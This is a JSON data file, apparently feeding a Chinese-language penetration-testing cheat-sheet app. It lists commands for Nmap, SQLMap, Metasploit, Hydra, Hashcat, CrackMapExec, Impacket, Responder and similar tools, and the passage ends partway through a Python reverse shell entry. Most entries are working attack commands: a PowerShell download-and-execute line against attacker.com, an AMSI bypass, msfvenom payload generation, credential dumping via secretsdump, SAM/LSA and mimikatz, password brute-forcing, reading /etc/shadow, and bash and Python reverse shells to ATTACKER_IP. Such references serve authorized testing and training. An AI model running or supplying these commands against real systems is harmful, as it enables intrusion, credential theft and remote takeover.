[ { "id": "nmap", "name": "Nmap", "description": "网络扫描和安全审计工具", "category": "信息收集", "tags": [], "commands": [ { "command": "nmap -sT target_ip", "description": "使用TCP连接方式进行端口扫描", "platform": "all", "syntaxBreakdown": [ { "part": "nmap", "explanation": "Nmap扫描工具", "type": "command" }, { "part": "-sT", "explanation": "TCP连接扫描模式", "type": "parameter" }, { "part": "target_ip", "explanation": "目标IP地址", "type": "value" } ] }, { "command": "nmap -sS target_ip", "description": "使用SYN包进行隐蔽扫描,需要root权限", "platform": "linux", "syntaxBreakdown": [ { "part": "-sS", "explanation": "SYN扫描(半开扫描),更隐蔽", "type": "parameter" } ] }, { "command": "nmap -sU target_ip", "description": "扫描UDP端口", "platform": "all", "syntaxBreakdown": [ { "part": "-sU", "explanation": "UDP扫描模式", "type": "parameter" } ] }, { "command": "nmap -sV target_ip", "description": "探测开放端口的服务版本信息", "platform": "all", "syntaxBreakdown": [ { "part": "-sV", "explanation": "服务版本探测", "type": "parameter" } ] }, { "command": "nmap -O target_ip", "description": "尝试识别目标操作系统", "platform": "all", "syntaxBreakdown": [ { "part": "-O", "explanation": "操作系统探测", "type": "parameter" } ] }, { "command": "nmap -A target_ip", "description": "启用高级功能进行全面扫描", "platform": "all", "syntaxBreakdown": [ { "part": "-A", "explanation": "启用OS检测、版本检测、脚本扫描和traceroute", "type": "parameter" } ] }, { "command": "nmap -p 22,80,443 target_ip", "description": "只扫描指定的端口", "platform": "all", "syntaxBreakdown": [ { "part": "-p", "explanation": "指定端口", "type": "parameter" }, { "part": "22,80,443", "explanation": "端口号列表", "type": "value" } ] }, { "command": "nmap -p 1-1000 target_ip", "description": "扫描指定范围的端口", "platform": "all", "syntaxBreakdown": [ { "part": "1-1000", "explanation": "端口范围", "type": "value" } ] }, { "command": "nmap --script=vuln target_ip", "description": "使用Nmap脚本引擎进行漏洞扫描", "platform": "all", "syntaxBreakdown": [ { "part": "--script=", "explanation": "指定Nmap脚本", "type": "parameter" }, { "part": "vuln", "explanation": "漏洞检测脚本类别", "type": "value" } ] }, { "command": "nmap --script=smb-enum-shares,smb-enum-users target_ip", "description": "扫描SMB共享和用户信息", "platform": "all", "syntaxBreakdown": [] }, { "command": "nmap --script=http-enum,http-vuln* -p 80,443 target_ip", "description": "HTTP服务漏洞扫描", "platform": "all", "syntaxBreakdown": [] }, { "command": "nmap -F target_ip", "description": "快速扫描,只扫描常用端口", "platform": "all", "syntaxBreakdown": [ { "part": "-F", "explanation": "快速模式,扫描常用100个端口", "type": "parameter" } ] }, { "command": "nmap 192.168.1.0/24", "description": "扫描整个网段", "platform": "all", "syntaxBreakdown": [ { "part": "192.168.1.0/24", "explanation": "CIDR格式的网段", "type": "value" } ] }, { "command": "nmap -oN output.txt target_ip", "description": "将扫描结果保存到文件", "platform": "all", "syntaxBreakdown": [ { "part": "-oN", "explanation": "普通格式输出", "type": "parameter" }, { "part": "-oX", "explanation": "XML格式输出", "type": "parameter" }, { "part": "-oG", "explanation": "Grepable格式输出", "type": "parameter" } ] } ] }, { "id": "sqlmap", "name": "SQLMap", "description": "自动化SQL注入工具", "category": "Web渗透", "tags": [], "commands": [ { "command": "sqlmap -u \"http://target.com/page?id=1\"", "description": "对URL进行SQL注入测试", "platform": "all", "syntaxBreakdown": [ { "part": "sqlmap", "explanation": "SQLMap工具", "type": "command" }, { "part": "-u", "explanation": "指定目标URL", "type": "parameter" } ] }, { "command": "sqlmap -u \"http://target.com/page?id=1&name=test\" -p id", "description": "只测试指定的参数", "platform": "all", "syntaxBreakdown": [ { "part": "-p", "explanation": "指定要测试的参数", "type": "parameter" } ] }, { "command": "sqlmap -u \"http://target.com/login\" --data=\"user=admin&pass=123\"", "description": "测试POST请求", "platform": "all", "syntaxBreakdown": [ { "part": "--data=", "explanation": "POST数据", "type": "parameter" } ] }, { "command": "sqlmap -u \"http://target.com/page?id=1\" --cookie=\"PHPSESSID=xxx\"", "description": "使用Cookie进行认证", "platform": "all", "syntaxBreakdown": [ { "part": "--cookie=", "explanation": "设置Cookie", "type": "parameter" } ] }, { "command": "sqlmap -u \"http://target.com/page?id=1\" --dbms=mysql", "description": "指定后端数据库类型", "platform": "all", "syntaxBreakdown": [ { "part": "--dbms=", "explanation": "数据库类型(mysql,mssql,oracle等)", "type": "parameter" } ] }, { "command": "sqlmap -u \"http://target.com/page?id=1\" --dbs", "description": "获取所有数据库名", "platform": "all", "syntaxBreakdown": [ { "part": "--dbs", "explanation": "枚举数据库", "type": "parameter" } ] }, { "command": "sqlmap -u \"http://target.com/page?id=1\" -D database_name --tables", "description": "获取指定数据库的表", "platform": "all", "syntaxBreakdown": [ { "part": "-D", "explanation": "指定数据库", "type": "parameter" }, { "part": "--tables", "explanation": "枚举表", "type": "parameter" } ] }, { "command": "sqlmap -u \"http://target.com/page?id=1\" -D db -T table --columns", "description": "获取指定表的列", "platform": "all", "syntaxBreakdown": [ { "part": "-T", "explanation": "指定表", "type": "parameter" }, { "part": "--columns", "explanation": "枚举列", "type": "parameter" } ] }, { "command": "sqlmap -u \"http://target.com/page?id=1\" -D db -T table -C col1,col2 --dump", "description": "提取指定列的数据", "platform": "all", "syntaxBreakdown": [ { "part": "-C", "explanation": "指定列", "type": "parameter" }, { "part": "--dump", "explanation": "提取数据", "type": "parameter" } ] }, { "command": "sqlmap -u \"http://target.com/page?id=1\" --os-shell", "description": "尝试获取操作系统Shell", "platform": "all", "syntaxBreakdown": [ { "part": "--os-shell", "explanation": "获取OS交互式Shell", "type": "parameter" } ] }, { "command": "sqlmap -u \"http://target.com/page?id=1\" --proxy=\"http://127.0.0.1:8080\"", "description": "通过代理发送请求", "platform": "all", "syntaxBreakdown": [ { "part": "--proxy=", "explanation": "设置代理服务器", "type": "parameter" } ] }, { "command": "sqlmap -u \"http://target.com/page?id=1\" --technique=BEUST", "description": "指定注入技术类型", "platform": "all", "syntaxBreakdown": [ { "part": "--technique=", "explanation": "B=布尔盲注,E=报错注入,U=联合查询,S=堆叠,T=时间盲注", "type": "parameter" } ] }, { "command": "sqlmap -u \"http://target.com/page?id=1\" --level=5 --risk=3", "description": "设置扫描级别和风险等级", "platform": "all", "syntaxBreakdown": [ { "part": "--level=", "explanation": "扫描级别(1-5),越高越全面", "type": "parameter" }, { "part": "--risk=", "explanation": "风险等级(1-3),越高越危险", "type": "parameter" } ] } ] }, { "id": "metasploit", "name": "Metasploit", "description": "渗透测试框架", "category": "漏洞利用", "tags": [], "commands": [ { "command": "msfconsole", "description": "启动Metasploit控制台", "platform": "linux", "syntaxBreakdown": [] }, { "command": "search exploit apache", "description": "搜索相关漏洞模块", "platform": "linux", "syntaxBreakdown": [ { "part": "search", "explanation": "搜索命令", "type": "command" }, { "part": "exploit", "explanation": "模块类型", "type": "value" }, { "part": "apache", "explanation": "搜索关键词", "type": "value" } ] }, { "command": "use exploit/multi/handler", "description": "选择要使用的模块", "platform": "linux", "syntaxBreakdown": [ { "part": "use", "explanation": "使用模块命令", "type": "command" }, { "part": "exploit/multi/handler", "explanation": "模块路径", "type": "value" } ] }, { "command": "show options", "description": "显示模块配置选项", "platform": "linux", "syntaxBreakdown": [ { "part": "show", "explanation": "显示命令", "type": "command" }, { "part": "options", "explanation": "配置选项", "type": "value" } ] }, { "command": "set RHOSTS 192.168.1.100", "description": "设置模块参数", "platform": "linux", "syntaxBreakdown": [ { "part": "set", "explanation": "设置参数命令", "type": "command" }, { "part": "RHOSTS", "explanation": "目标主机参数", "type": "parameter" } ] }, { "command": "set PAYLOAD windows/meterpreter/reverse_tcp", "description": "设置攻击载荷", "platform": "linux", "syntaxBreakdown": [ { "part": "PAYLOAD", "explanation": "载荷参数", "type": "parameter" }, { "part": "windows/meterpreter/reverse_tcp", "explanation": "反向TCP连接的Meterpreter载荷", "type": "value" } ] }, { "command": "exploit", "description": "执行攻击", "platform": "linux", "syntaxBreakdown": [ { "part": "exploit", "explanation": "执行攻击命令", "type": "command" } ] }, { "command": "exploit -j", "description": "在后台执行攻击", "platform": "linux", "syntaxBreakdown": [ { "part": "-j", "explanation": "后台任务模式", "type": "parameter" } ] }, { "command": "msfvenom -p windows/meterpreter/reverse_tcp LHOST=attacker_ip LPORT=4444 -f exe -o payload.exe", "description": "使用msfvenom生成恶意文件", "platform": "linux", "syntaxBreakdown": [ { "part": "msfvenom", "explanation": "MSF载荷生成工具", "type": "command" }, { "part": "-p", "explanation": "指定载荷", "type": "parameter" }, { "part": "-f exe", "explanation": "输出格式", "type": "parameter" }, { "part": "-o", "explanation": "输出文件", "type": "parameter" } ] }, { "command": "sysinfo\ngetuid\nhashdump", "description": "Meterpreter会话中的常用命令", "platform": "linux", "syntaxBreakdown": [] } ] }, { "id": "hydra", "name": "Hydra", "description": "网络登录破解工具", "category": "密码攻击", "tags": [], "commands": [ { "command": "hydra -l user -P wordlist.txt ssh://target_ip", "description": "使用用户名和密码字典爆破SSH", "platform": "linux", "syntaxBreakdown": [ { "part": "hydra", "explanation": "Hydra破解工具", "type": "command" }, { "part": "-l", "explanation": "指定用户名", "type": "parameter" }, { "part": "-L", "explanation": "指定用户名字典文件", "type": "parameter" }, { "part": "-p", "explanation": "指定密码", "type": "parameter" }, { "part": "-P", "explanation": "指定密码字典文件", "type": "parameter" }, { "part": "ssh://", "explanation": "目标服务协议", "type": "value" } ] }, { "command": "hydra -L users.txt -P passwords.txt ftp://target_ip", "description": "爆破FTP服务", "platform": "linux", "syntaxBreakdown": [] }, { "command": "hydra -l admin -P wordlist.txt target_ip http-post-form \"/login:user=^USER^&pass=^PASS^:Invalid\"", "description": "爆破HTTP表单登录", "platform": "linux", "syntaxBreakdown": [ { "part": "http-post-form", "explanation": "HTTP POST表单模块", "type": "value" }, { "part": "^USER^", "explanation": "用户名占位符", "type": "value" }, { "part": "^PASS^", "explanation": "密码占位符", "type": "value" }, { "part": "Invalid", "explanation": "失败响应标识", "type": "value" } ] }, { "command": "hydra -l administrator -P wordlist.txt rdp://target_ip", "description": "爆破RDP服务", "platform": "linux", "syntaxBreakdown": [] }, { "command": "hydra -l root -P wordlist.txt mysql://target_ip", "description": "爆破MySQL数据库", "platform": "linux", "syntaxBreakdown": [] }, { "command": "hydra -t 4 -l user -P wordlist.txt ssh://target_ip", "description": "指定线程数", "platform": "linux", "syntaxBreakdown": [ { "part": "-t", "explanation": "并发线程数", "type": "parameter" } ] }, { "command": "hydra -R", "description": "恢复之前中断的任务", "platform": "linux", "syntaxBreakdown": [ { "part": "-R", "explanation": "恢复任务", "type": "parameter" } ] } ] }, { "id": "john", "name": "John the Ripper", "description": "密码破解工具", "category": "密码攻击", "tags": [], "commands": [ { "command": "john --wordlist=wordlist.txt hash.txt", "description": "使用字典破解哈希", "platform": "linux", "syntaxBreakdown": [ { "part": "john", "explanation": "John破解工具", "type": "command" }, { "part": "--wordlist=", "explanation": "指定字典文件", "type": "parameter" } ] }, { "command": "john --wordlist=wordlist.txt --format=raw-md5 hash.txt", "description": "指定哈希格式", "platform": "linux", "syntaxBreakdown": [ { "part": "--format=", "explanation": "指定哈希格式", "type": "parameter" } ] }, { "command": "john --show hash.txt", "description": "显示已破解的密码", "platform": "linux", "syntaxBreakdown": [ { "part": "--show", "explanation": "显示结果", "type": "parameter" } ] }, { "command": "unshadow /etc/passwd /etc/shadow > mypasswd\njohn --wordlist=wordlist.txt mypasswd", "description": "破解Linux密码文件", "platform": "linux", "syntaxBreakdown": [ { "part": "unshadow", "explanation": "合并passwd和shadow文件", "type": "command" } ] }, { "command": "zip2john protected.zip > zip.hash\njohn --wordlist=wordlist.txt zip.hash", "description": "破解ZIP文件密码", "platform": "linux", "syntaxBreakdown": [ { "part": "zip2john", "explanation": "提取ZIP密码哈希", "type": "command" } ] }, { "command": "rar2john protected.rar > rar.hash\njohn --wordlist=wordlist.txt rar.hash", "description": "破解RAR文件密码", "platform": "linux", "syntaxBreakdown": [] }, { "command": "ssh2john id_rsa > ssh.hash\njohn --wordlist=wordlist.txt ssh.hash", "description": "破解SSH私钥密码", "platform": "linux", "syntaxBreakdown": [] }, { "command": "john --incremental hash.txt", "description": "使用暴力破解模式", "platform": "linux", "syntaxBreakdown": [ { "part": "--incremental", "explanation": "暴力破解模式", "type": "parameter" } ] } ] }, { "id": "hashcat", "name": "Hashcat", "description": "GPU加速密码破解工具", "category": "密码攻击", "tags": [], "commands": [ { "command": "hashcat -m 0 -a 0 hash.txt wordlist.txt", "description": "使用字典破解MD5哈希", "platform": "linux", "syntaxBreakdown": [ { "part": "hashcat", "explanation": "Hashcat破解工具", "type": "command" }, { "part": "-m 0", "explanation": "哈希类型(MD5)", "type": "parameter" }, { "part": "-a 0", "explanation": "攻击模式(字典攻击)", "type": "parameter" } ] }, { "command": "hashcat -m 0 -a 3 hash.txt ?a?a?a?a?a?a", "description": "暴力破解模式", "platform": "linux", "syntaxBreakdown": [ { "part": "-a 3", "explanation": "暴力破解模式", "type": "parameter" }, { "part": "?a", "explanation": "所有字符掩码", "type": "value" } ] }, { "command": "?l = abcdefghijklmnopqrstuvwxyz\n?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ\n?d = 0123456789\n?s = 特殊字符\n?a = 所有字符\n?b = 0x00-0xff", "description": "掩码字符集说明", "platform": "all", "syntaxBreakdown": [] }, { "command": "hashcat -m 0 -a 0 hash.txt wordlist.txt -r rules/best64.rule", "description": "使用规则文件进行破解", "platform": "linux", "syntaxBreakdown": [ { "part": "-r", "explanation": "指定规则文件", "type": "parameter" } ] }, { "command": "hashcat -m 0 -a 1 hash.txt wordlist1.txt wordlist2.txt", "description": "组合两个字典", "platform": "linux", "syntaxBreakdown": [ { "part": "-a 1", "explanation": "组合攻击模式", "type": "parameter" } ] }, { "command": "-m 0 = MD5\n-m 100 = SHA1\n-m 1400 = SHA256\n-m 1700 = SHA512\n-m 1000 = NTLM\n-m 1800 = SHA512crypt\n-m 3200 = bcrypt\n-m 5600 = NetNTLMv2\n-m 13100 = Kerberos TGS", "description": "常用哈希类型编号", "platform": "all", "syntaxBreakdown": [] }, { "command": "hashcat -m 0 hash.txt --show", "description": "显示已破解的结果", "platform": "linux", "syntaxBreakdown": [] }, { "command": "hashcat -b", "description": "测试GPU性能", "platform": "linux", "syntaxBreakdown": [] } ] }, { "id": "crackmapexec", "name": "CrackMapExec", "description": "内网渗透瑞士军刀", "category": "内网渗透", "tags": [], "commands": [ { "command": "crackmapexec smb 192.168.1.0/24", "description": "扫描网段内的SMB服务", "platform": "linux", "syntaxBreakdown": [ { "part": "crackmapexec", "explanation": "CME工具", "type": "command" }, { "part": "smb", "explanation": "SMB协议模块", "type": "value" } ] }, { "command": "crackmapexec smb 192.168.1.0/24 -u users.txt -p Password123", "description": "使用单个密码测试多个用户", "platform": "linux", "syntaxBreakdown": [ { "part": "-u", "explanation": "用户名或用户文件", "type": "parameter" }, { "part": "-p", "explanation": "密码或密码文件", "type": "parameter" } ] }, { "command": "crackmapexec smb 192.168.1.0/24 -u admin -p password", "description": "测试凭证是否有效", "platform": "linux", "syntaxBreakdown": [] }, { "command": "crackmapexec smb 192.168.1.0/24 -u admin -H NTHASH", "description": "使用哈希进行认证", "platform": "linux", "syntaxBreakdown": [ { "part": "-H", "explanation": "NTLM哈希", "type": "parameter" } ] }, { "command": "crackmapexec smb 192.168.1.100 -u admin -p password -x \"whoami\"", "description": "在目标机器执行命令", "platform": "linux", "syntaxBreakdown": [ { "part": "-x", "explanation": "执行命令", "type": "parameter" } ] }, { "command": "crackmapexec smb 192.168.1.100 -u admin -p password -X \"Get-Process\"", "description": "在目标机器执行PowerShell", "platform": "linux", "syntaxBreakdown": [ { "part": "-X", "explanation": "执行PowerShell命令", "type": "parameter" } ] }, { "command": "crackmapexec smb 192.168.1.100 -u admin -p password --sam", "description": "导出SAM数据库", "platform": "linux", "syntaxBreakdown": [] }, { "command": "crackmapexec smb 192.168.1.100 -u admin -p password --lsa", "description": "导出LSASS凭证", "platform": "linux", "syntaxBreakdown": [] }, { "command": "crackmapexec smb 192.168.1.100 -u admin -p password -M mimikatz", "description": "执行Mimikatz模块", "platform": "linux", "syntaxBreakdown": [ { "part": "-M", "explanation": "指定模块", "type": "parameter" } ] }, { "command": "crackmapexec winrm 192.168.1.100 -u admin -p password", "description": "通过WinRM执行命令", "platform": "linux", "syntaxBreakdown": [] } ] }, { "id": "impacket", "name": "Impacket", "description": "Python网络协议库", "category": "内网渗透", "tags": [], "commands": [ { "command": "psexec.py domain/user:password@target_ip", "description": "PsExec远程执行", "platform": "linux", "syntaxBreakdown": [] }, { "command": "wmiexec.py domain/user:password@target_ip", "description": "WMI远程执行", "platform": "linux", "syntaxBreakdown": [] }, { "command": "atexec.py domain/user:password@target_ip \"command\"", "description": "通过计划任务执行", "platform": "linux", "syntaxBreakdown": [] }, { "command": "smbexec.py domain/user:password@target_ip", "description": "SMB远程执行", "platform": "linux", "syntaxBreakdown": [] }, { "command": "secretsdump.py domain/user:password@target_ip", "description": "导出所有凭证", "platform": "linux", "syntaxBreakdown": [] }, { "command": "GetUserSPNs.py domain/user:password -dc-ip dc_ip -request", "description": "Kerberoasting攻击", "platform": "linux", "syntaxBreakdown": [] }, { "command": "GetNPUsers.py domain/ -usersfile users.txt -format hashcat", "description": "AS-REP Roasting攻击", "platform": "linux", "syntaxBreakdown": [] }, { "command": "ntlmrelayx.py -tf targets.txt -smb2support", "description": "NTLM中继攻击", "platform": "linux", "syntaxBreakdown": [] }, { "command": "mssqlclient.py domain/user:password@target_ip", "description": "MSSQL客户端", "platform": "linux", "syntaxBreakdown": [] }, { "command": "lookupsid.py domain/user:password@target_ip", "description": "通过LSA枚举用户", "platform": "linux", "syntaxBreakdown": [] } ] }, { "id": "powershell-pentest", "name": "PowerShell渗透命令", "description": "PowerShell渗透测试常用命令", "category": "Windows渗透", "tags": [], "commands": [ { "command": "powershell -ExecutionPolicy Bypass -File script.ps1", "description": "绕过执行策略运行脚本", "platform": "windows", "syntaxBreakdown": [ { "part": "-ExecutionPolicy Bypass", "explanation": "绕过执行策略", "type": "parameter" } ] }, { "command": "IEX (New-Object Net.WebClient).DownloadString(\"http://attacker.com/script.ps1\")", "description": "从远程下载并执行脚本", "platform": "windows", "syntaxBreakdown": [ { "part": "IEX", "explanation": "Invoke-Expression,执行字符串", "type": "command" }, { "part": "Net.WebClient", "explanation": "Web客户端类", "type": "value" }, { "part": "DownloadString", "explanation": "下载字符串内容", "type": "value" } ] }, { "command": "powershell -EncodedCommand BASE64_ENCODED_COMMAND", "description": "使用Base64编码执行命令", "platform": "windows", "syntaxBreakdown": [ { "part": "-EncodedCommand", "explanation": "Base64编码的命令", "type": "parameter" } ] }, { "command": "Get-ComputerInfo\nsysteminfo\nGet-WmiObject -Class Win32_OperatingSystem", "description": "获取系统信息", "platform": "windows", "syntaxBreakdown": [] }, { "command": "Get-Process | Select-Object Name,Id,Path\nGet-WmiObject Win32_Process | Select-Object Name,ProcessId,CommandLine", "description": "获取运行进程", "platform": "windows", "syntaxBreakdown": [] }, { "command": "Get-Service | Where-Object {$_.Status -eq \"Running\"}\nGet-WmiObject Win32_Service | Select-Object Name,State,StartName", "description": "获取服务信息", "platform": "windows", "syntaxBreakdown": [] }, { "command": "Get-NetTCPConnection | Select-Object LocalAddress,LocalPort,OwningProcess\nnetstat -ano", "description": "获取网络连接", "platform": "windows", "syntaxBreakdown": [] }, { "command": "Get-LocalUser\nnet user\nnet localgroup administrators", "description": "获取用户信息", "platform": "windows", "syntaxBreakdown": [] }, { "command": "1..1024 | % {Test-NetConnection -Port $_ -ComputerName target_ip}", "description": "简单端口扫描", "platform": "windows", "syntaxBreakdown": [] }, { "command": "Get-ChildItem -Path C:\\ -Include *.txt,*.doc,*.xls -Recurse -ErrorAction SilentlyContinue", "description": "搜索敏感文件", "platform": "windows", "syntaxBreakdown": [] }, { "command": "[Ref].Assembly.GetType(\"System.Management.Automation.AmsiUtils\").GetField(\"amsiInitFailed\",\"NonPublic,Static\").SetValue($null,$true)", "description": "绕过AMSI检测", "platform": "windows", "syntaxBreakdown": [] } ] }, { "id": "linux-privilege", "name": "Linux提权命令", "description": "Linux系统提权常用命令", "category": "权限提升", "tags": [], "commands": [ { "command": "uname -a\ncat /etc/issue\ncat /etc/*-release\ncat /proc/version", "description": "获取系统版本信息", "platform": "linux", "syntaxBreakdown": [] }, { "command": "id\nwhoami\nw\nlast\ncat /etc/passwd\ncat /etc/shadow", "description": "获取用户信息", "platform": "linux", "syntaxBreakdown": [] }, { "command": "find / -perm -4000 -type f 2>/dev/null\nfind / -perm -u=s -type f 2>/dev/null", "description": "查找SUID权限文件", "platform": "linux", "syntaxBreakdown": [ { "part": "-perm -4000", "explanation": "SUID权限位", "type": "parameter" }, { "part": "-type f", "explanation": "文件类型", "type": "parameter" } ] }, { "command": "sudo -l\ncat /etc/sudoers", "description": "查看SUDO权限配置", "platform": "linux", "syntaxBreakdown": [] }, { "command": "find / -writable -type d 2>/dev/null\nfind / -perm -222 -type d 2>/dev/null", "description": "查找可写目录", "platform": "linux", "syntaxBreakdown": [] }, { "command": "searchsploit linux kernel $(uname -r)\n./linux-exploit-suggester.sh", "description": "搜索内核漏洞", "platform": "linux", "syntaxBreakdown": [] }, { "command": "cat /etc/crontab\nls -la /etc/cron*\ncrontab -l", "description": "查看计划任务", "platform": "linux", "syntaxBreakdown": [] }, { "command": "env\nset\necho $PATH", "description": "查看环境变量", "platform": "linux", "syntaxBreakdown": [] }, { "command": "cat /root/.bash_history\ncat ~/.ssh/authorized_keys\ncat /etc/shadow\nfind / -name \"*.key\" 2>/dev/null", "description": "查找敏感文件", "platform": "linux", "syntaxBreakdown": [] }, { "command": "cat /proc/1/cgroup\nfdisk -l\ncapsh --print", "description": "检测Docker环境", "platform": "linux", "syntaxBreakdown": [] } ] }, { "id": "gobuster", "name": "Gobuster", "description": "目录和子域名爆破工具", "category": "信息收集", "tags": [], "commands": [ { "command": "gobuster dir -u http://target.com -w wordlist.txt", "description": "爆破网站目录", "platform": "linux", "syntaxBreakdown": [ { "part": "gobuster", "explanation": "Gobuster工具", "type": "command" }, { "part": "dir", "explanation": "目录爆破模式", "type": "value" }, { "part": "-u", "explanation": "目标URL", "type": "parameter" }, { "part": "-w", "explanation": "字典文件", "type": "parameter" } ] }, { "command": "gobuster dir -u http://target.com -w wordlist.txt -x php,html,txt", "description": "指定文件扩展名", "platform": "linux", "syntaxBreakdown": [ { "part": "-x", "explanation": "文件扩展名", "type": "parameter" } ] }, { "command": "gobuster dns -d target.com -w subdomains.txt", "description": "爆破子域名", "platform": "linux", "syntaxBreakdown": [ { "part": "dns", "explanation": "DNS爆破模式", "type": "value" }, { "part": "-d", "explanation": "目标域名", "type": "parameter" } ] }, { "command": "gobuster dir -u http://target.com -w wordlist.txt -c \"PHPSESSID=xxx\"", "description": "使用Cookie认证", "platform": "linux", "syntaxBreakdown": [ { "part": "-c", "explanation": "设置Cookie", "type": "parameter" } ] }, { "command": "gobuster dir -u http://target.com -w wordlist.txt -H \"Authorization: Bearer token\"", "description": "添加自定义Header", "platform": "linux", "syntaxBreakdown": [ { "part": "-H", "explanation": "添加Header", "type": "parameter" } ] }, { "command": "gobuster dir -u http://target.com -w wordlist.txt -t 50", "description": "设置线程数", "platform": "linux", "syntaxBreakdown": [ { "part": "-t", "explanation": "线程数", "type": "parameter" } ] }, { "command": "gobuster dir -u http://target.com -w wordlist.txt -b 404,403", "description": "忽略特定状态码", "platform": "linux", "syntaxBreakdown": [ { "part": "-b", "explanation": "黑名单状态码", "type": "parameter" } ] } ] }, { "id": "burpsuite", "name": "Burp Suite", "description": "Web安全测试平台", "category": "Web渗透", "tags": [], "commands": [ { "command": "Proxy -> Options -> Proxy Listeners -> Add -> Port 8080", "description": "配置代理监听", "platform": "all", "syntaxBreakdown": [] }, { "command": "Proxy -> Intercept -> Intercept is on", "description": "开启请求拦截", "platform": "all", "syntaxBreakdown": [] }, { "command": "右键 -> Send to Repeater (Ctrl+R)", "description": "发送请求到Repeater", "platform": "all", "syntaxBreakdown": [] }, { "command": "右键 -> Send to Intruder (Ctrl+I)", "description": "发送请求到Intruder", "platform": "all", "syntaxBreakdown": [] }, { "command": "Sniper: 单个payload\nBattering ram: 同一payload\nPitchfork: 多个payload并行\nCluster bomb: 多个payload组合", "description": "四种攻击类型说明", "platform": "all", "syntaxBreakdown": [] }, { "command": "Dashboard -> New Scan -> 选择目标URL", "description": "启动主动扫描", "platform": "all", "syntaxBreakdown": [] }, { "command": "Extender -> BApp Store -> 选择插件 -> Install", "description": "安装BApp插件", "platform": "all", "syntaxBreakdown": [] }, { "command": "右键 -> Copy to clipboard -> Request", "description": "复制请求内容", "platform": "all", "syntaxBreakdown": [] } ] }, { "id": "ffuf", "name": "FFUF", "description": "快速Web模糊测试工具", "category": "Web渗透", "tags": [], "commands": [ { "command": "ffuf -u http://target.com/FUZZ -w wordlist.txt", "description": "基础目录爆破", "platform": "linux", "syntaxBreakdown": [] }, { "command": "ffuf -u http://target.com/FUZZ -w wordlist.txt -e .php,.html,.txt", "description": "添加文件扩展名", "platform": "linux", "syntaxBreakdown": [] }, { "command": "ffuf -u http://target.com/?param=FUZZ -w wordlist.txt", "description": "GET参数测试", "platform": "linux", "syntaxBreakdown": [] }, { "command": "ffuf -u http://target.com -X POST -d \"user=FUZZ&pass=test\" -w wordlist.txt", "description": "POST数据测试", "platform": "linux", "syntaxBreakdown": [] }, { "command": "ffuf -u http://target.com -H \"Host: FUZZ.target.com\" -w wordlist.txt", "description": "Host头测试", "platform": "linux", "syntaxBreakdown": [] }, { "command": "ffuf -u http://target.com/FUZZ -w wordlist.txt -mc 200,301,302", "description": "匹配特定状态码", "platform": "linux", "syntaxBreakdown": [] }, { "command": "ffuf -u http://target.com/FUZZ -w wordlist.txt -fs 1234", "description": "过滤特定响应大小", "platform": "linux", "syntaxBreakdown": [] }, { "command": "ffuf -u http://target.com/FUZZ -w wordlist.txt -recursion -recursion-depth 2", "description": "递归目录扫描", "platform": "linux", "syntaxBreakdown": [] } ] }, { "id": "responder", "name": "Responder", "description": "LLMNR/NBT-NS/MDNS Poisoner", "category": "内网渗透", "tags": [], "commands": [ { "command": "responder -I eth0", "description": "启动Responder监听", "platform": "linux", "syntaxBreakdown": [] }, { "command": "responder -I eth0 -A", "description": "被动分析模式", "platform": "linux", "syntaxBreakdown": [] }, { "command": "responder -I eth0 -wF", "description": "启用WPAD代理攻击", "platform": "linux", "syntaxBreakdown": [] }, { "command": "responder -I eth0 -f", "description": "启用Finger服务", "platform": "linux", "syntaxBreakdown": [] }, { "command": "responder -I eth0 --disable-smb", "description": "禁用SMB服务", "platform": "linux", "syntaxBreakdown": [] }, { "command": "cat /usr/share/responder/logs/*.txt", "description": "查看捕获的哈希", "platform": "linux", "syntaxBreakdown": [] }, { "command": "responder -I eth0 -D", "description": "启用DHCP欺骗", "platform": "linux", "syntaxBreakdown": [] } ] }, { "id": "evil-winrm", "name": "Evil-WinRM", "description": "WinRM远程管理工具", "category": "内网渗透", "tags": [], "commands": [ { "command": "evil-winrm -i target_ip -u user -p password", "description": "使用密码连接", "platform": "linux", "syntaxBreakdown": [] }, { "command": "evil-winrm -i target_ip -u user -H ntlm_hash", "description": "使用哈希连接", "platform": "linux", "syntaxBreakdown": [] }, { "command": "upload local_file remote_path", "description": "上传文件到目标", "platform": "linux", "syntaxBreakdown": [] }, { "command": "download remote_path local_file", "description": "从目标下载文件", "platform": "linux", "syntaxBreakdown": [] }, { "command": "menu\nBypass-4MSI\nInvoke-Mimikatz", "description": "加载PowerShell脚本", "platform": "linux", "syntaxBreakdown": [] }, { "command": "Invoke-Command -ScriptBlock {whoami}", "description": "执行PowerShell命令", "platform": "linux", "syntaxBreakdown": [] } ] }, { "id": "proxychains", "name": "ProxyChains", "description": "代理链工具", "category": "内网渗透", "tags": [], "commands": [ { "command": "vim /etc/proxychains4.conf\n[ProxyList]\nsocks5 127.0.0.1 1080", "description": "配置SOCKS代理", "platform": "linux", "syntaxBreakdown": [] }, { "command": "proxychains4 nmap -sT -Pn target_ip", "description": "通过代理运行工具", "platform": "linux", "syntaxBreakdown": [] }, { "command": "dynamic_chain\n[ProxyList]\nsocks5 127.0.0.1 1080\nsocks5 127.0.0.1 1081", "description": "动态代理链", "platform": "linux", "syntaxBreakdown": [] }, { "command": "strict_chain", "description": "严格按顺序使用代理", "platform": "linux", "syntaxBreakdown": [] }, { "command": "random_chain", "description": "随机选择代理", "platform": "linux", "syntaxBreakdown": [] } ] }, { "id": "bash-reverse", "name": "Bash反弹Shell", "description": "Bash反弹Shell命令", "category": "反弹Shell", "tags": [], "commands": [ { "command": "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1", "description": "基础Bash反弹", "platform": "linux", "syntaxBreakdown": [] }, { "command": "exec 5<>/dev/tcp/ATTACKER_IP/PORT;cat <&5 | while read line; do $line 2>&5 >&5; done", "description": "exec方式反弹", "platform": "linux", "syntaxBreakdown": [] }, { "command": "bash -i >& /dev/udp/ATTACKER_IP/PORT 0>&1", "description": "UDP反弹", "platform": "linux", "syntaxBreakdown": [] }, { "command": "bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1\"", "description": "bash -c执行", "platform": "linux", "syntaxBreakdown": [] }, { "command": "nc -lvnp PORT", "description": "Netcat监听", "platform": "linux", "syntaxBreakdown": [] } ] }, { "id": "python-reverse", "name": "Python反弹Shell", "description": "Python反弹Shell命令", "category": "反弹Shell", "tags": [], "commands": [ { "command": "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ATTACKER_IP\",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); 